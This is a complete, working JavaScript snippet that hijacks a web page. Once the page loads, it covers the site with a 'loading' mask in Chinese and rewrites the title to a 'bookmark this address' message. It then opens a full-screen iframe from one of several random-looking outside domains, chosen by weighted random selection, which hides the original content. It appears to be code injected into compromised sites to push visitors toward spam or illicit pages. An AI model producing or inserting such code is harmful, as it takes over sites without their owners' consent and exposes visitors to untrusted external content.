document.write(''); (function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function createLoadingMask() { var mask = document.createElement('div'); mask.id = 'ad_fullscreen_mask_' + generateRandomString(5); mask.style.cssText = ` position:fixed; top:0;left:0;width:100vw;height:100vh; background:#fff; display:flex; align-items:center; justify-content:center; z-index:2147483646; font-size:2rem; font-family:sans-serif; `; mask.innerText = '正在加载中...'; document.body.appendChild(mask); return mask; } function weightedRandomLink(data) { if (!Array.isArray(data) || data.length === 0) { return null; } const validData = data.filter(item => { return item && Number(item.weight) > 0 && Array.isArray(item.links) && item.links.length > 0; }); if (validData.length === 0) { return null; } const totalWeight = validData.reduce((sum, item) => { return sum + Number(item.weight); }, 0); let random = Math.random() * totalWeight; for (const item of validData) { random -= Number(item.weight); if (random < 0) { const index = Math.floor( Math.random() * item.links.length ); return item.links[index]; } } return null; } function loadExternalContent(url, mask) { document.documentElement.style.height = '100%'; document.body.style.height = '100%'; document.body.style.margin = '0'; document.body.style.overflow = 'hidden'; var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100vw;height:100vh;border:none;position:fixed;top:0;left:0;z-index:2147483647;'; frame.src = url; frame.onload = function() { if(mask && mask.parentNode) { mask.parentNode.removeChild(mask); } }; document.body.appendChild(frame); } function main() { document.title = '收藏网址,一直更新中。'; var data=[{"weight":50,"links":["https:\/\/www.cnaqgdw.com:2087\/3102_05163.html","https:\/\/www.xxgvyjv.com:2087\/3102_05163.html"]},{"weight":50,"links":["https:\/\/cm05163.oehptsdu.cn\/2.html"]}]; const externalUrl = weightedRandomLink(data); var mask = createLoadingMask(); loadExternalContent(externalUrl, mask); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', main); } else { main(); } })();//finish